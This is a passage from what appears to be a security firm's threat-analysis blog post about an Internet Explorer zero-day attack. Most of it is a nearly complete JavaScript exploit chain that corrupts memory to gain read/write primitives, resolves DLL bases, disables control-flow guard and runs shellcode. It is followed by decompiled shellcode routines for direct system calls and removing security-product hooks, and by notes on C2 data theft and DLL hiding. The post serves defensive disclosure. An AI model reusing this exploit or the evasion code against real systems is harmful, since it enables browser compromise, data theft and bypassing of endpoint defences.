'pFormatTypes': { offset: 32, size: 32 }, 'fCheckBounds': { offset: 36, size: 32 }, 'Version': { offset: 40, size: 32 }, 'MIDLVersion': { offset: 48, size: 32 }, 'mFlags': { offset: 64, size: 32 } }) var RPC_DISPATCH_TABLE = new SymTab(12, { 'DispatchTableCount': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, }) var _RPC_MESSAGE = new SymTab(0x2c, { 'Handle': { offset: 0, size: 32 }, 'DataRepresentation': { offset: 4, size: 32 }, 'Buffer': { offset: 8, size: 32 }, 'BufferLength': { offset: 12, size: 32 }, 'TransferSyntax': { offset: 20, size: 32 }, 'RpcInterfaceInformation': { offset: 24, size: 32 }, 'RpcFlags': { offset: 40, size: 32 } }) var god var arr = [{}] var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var alloc = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = alloc var leak = new Uint32Array(dump(hd2.nodeValue)) var pAbf = leak[6] var pArr = leak[10] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var bufArr = new Array(0x10) var fakeArr = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, bufArr[4])) setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40 fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10 write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32) var map = new Map() var jscript9 = getBase(read(addrOf(map), 32)) var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll') var msvcrt = getDllBase(jscript9, 'msvcrt.dll') var ntdll = getDllBase(msvcrt, 'ntdll.dll') var kernelbase = getDllBase(msvcrt, 'kernelbase.dll') var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect') var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA') var xyz = document.createAttribute('xyz') var paoi = addrOf(xyz) var patt = read(addrOf(xyz) + 0x18, 32) var osf_vft = aos() var msg = initRpc() var rpcFree = rpcFree() killCfg(rpcrt4) var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) alert(result.toString(16)) </script> </body> </html>
Shellcode Analysis
The shellcode collects basic information about the infected target by transmitting the list of running processes, screen captures, and network interface information to C2 on the infected system, then downloads and executes additional encrypted malware from the C2 server in memory.
While we couldn't obtain the additional malware expected to perform privilege escalation attacks and major malicious activities, preventing us from revealing the detailed intent or results of the attack, the characteristics of the malware identified during analysis are as follows:
Direct System Call
context *__fastcall set_syscall_number(context *ctx) { context *result; // rax _PEB *peb; // [rsp+20h] [rbp-18h] unsigned int buildNum; // [rsp+28h] [rbp-10h] peb = *(getTeb() + 12); ctx->NtMapViewOfSection = 0x28; ctx->NtUnmapViewOfSection = 0x2A; ctx->NtProtectVirtualMemory = 0x50; ctx->NtQueryVirtualMemory = 0x23; ctx->NtOpenSection = 0x37; result = peb->OSBuildNumber; buildNum = peb->OSBuildNumber; if ( buildNum >= 7600 ) { if ( peb->OSBuildNumber <= 7601u ) { ctx->NtMapViewOfSection = 0x25; ctx->NtUnmapViewOfSection = 0x27; ctx->NtProtectVirtualMemory = 0x4D; ctx->NtQueryVirtualMemory = 0x20; result = ctx; ctx->NtOpenSection = 0x34; } else if ( buildNum == 9200 ) { ctx->NtMapViewOfSection = 0x26; ctx->NtUnmapViewOfSection = 0x28; ctx->NtProtectVirtualMemory = 0x4E; ctx->NtQueryVirtualMemory = 0x21; result = ctx; ctx->NtOpenSection = 0x35; } else if ( buildNum == 9600 ) { ctx->NtMapViewOfSection = 0x27; ctx->NtUnmapViewOfSection = 0x29; ctx->NtProtectVirtualMemory = 0x4F; ctx->NtQueryVirtualMemory = 0x22; result = ctx; ctx->NtOpenSection = 0x36; } } return result; }
The shellcode uses direct system calls instead of using functions implemented in DLLs for major APIs. This is interpreted as an attempt to bypass detection by endpoint security products.
Disable User Mode Hook
_BOOL8 __fastcall unhook_system_dlls(context *ctx) { char v2[16]; // [rsp+20h] [rbp-48h] BYREF char v3[16]; // [rsp+30h] [rbp-38h] BYREF char v4[16]; // [rsp+40h] [rbp-28h] BYREF strcpy(v3, "ntdll.dll"); strcpy(v4, "kernel32.dll"); strcpy(v2, "kernelbase.dll"); return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4); }
It removes user mode hooks by copying originals of major system DLLs from the "\KnownDlls" directory to the current process. This is also interpreted as an attempt to bypass security products.
In Process DLL Hiding

The shellcode that began operating in a 32-bit IE process executes the "splwow64.exe" program to proceed with malicious activities in a 64-bit process. At this time, the malware loaded into the target process is positioned at an address offset by 0x1000 from the start address of a normal DLL, which appears to be an attempt to neutralize security products that detect based on DLLs mapped to processes.
Conclusion
In addition to using 0-day vulnerabilities in major software, this attack is characterized by the attacker preparing an SNS account disguised as a security researcher for a long period and utilizing it.
While computer technology is developing to prevent security vulnerabilities that are the root cause of hacking incidents, cyber attacks targeting careless human mistakes like this case are expected to occur frequently in the future.
Therefore, recognizing that potential security threats always exist behind the convenience of computers and the internet, and responding proactively, is the best approach to confronting real-world security issues.


EnkiWhiteHat
EnkiWhiteHat
Offensive security experts delivering deeper security through an attacker's perspective.
Offensive security experts delivering deeper security through an attacker's perspective.
More Articles


COM-pletely Unplanned: A Windows Bug Hunter’s Journey to LPE
COM-pletely Unplanned: A Windows Bug Hunter’s Journey to LPE

2025. 5. 12.
Vulnerability Research
Vulnerability Research

COM-pletely Unplanned: A Windows Bug Hunter’s Journey to LPE

2025. 5. 12.
Vulnerability Research


South Korean Security Firm's Code Signing Certificate Leak Linked to North Korean APT
South Korean Security Firm's Code Signing Certificate Leak Linked to North Korean APT

2025. 4. 1.
Threat Intelligence
Threat Intelligence

South Korean Security Firm's Code Signing Certificate Leak Linked to North Korean APT

2025. 4. 1.
Threat Intelligence


Konni's Latest AsyncRAT Attacks Leveraging LNK Files
Konni's Latest AsyncRAT Attacks Leveraging LNK Files

2025. 3. 12.
Threat Intelligence
Threat Intelligence

Konni's Latest AsyncRAT Attacks Leveraging LNK Files

2025. 3. 12.
Threat Intelligence

Prepare Before a Security Incident Occurs
The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before
a Security Incident Occurs
The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

ENKI WhiteHat provides unparalleled security
with unrivaled expertise.
Contact
biz@enki.co.kr
+82 2-402-1337
167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)
ENKI WhiteHat Co., Ltd.
Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security
with unrivaled expertise.
Contact
biz@enki.co.kr
+82 2-402-1337
167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)
ENKI WhiteHat Co., Ltd.
Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security
with unrivaled expertise.
Contact
biz@enki.co.kr
+82 2-402-1337
167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)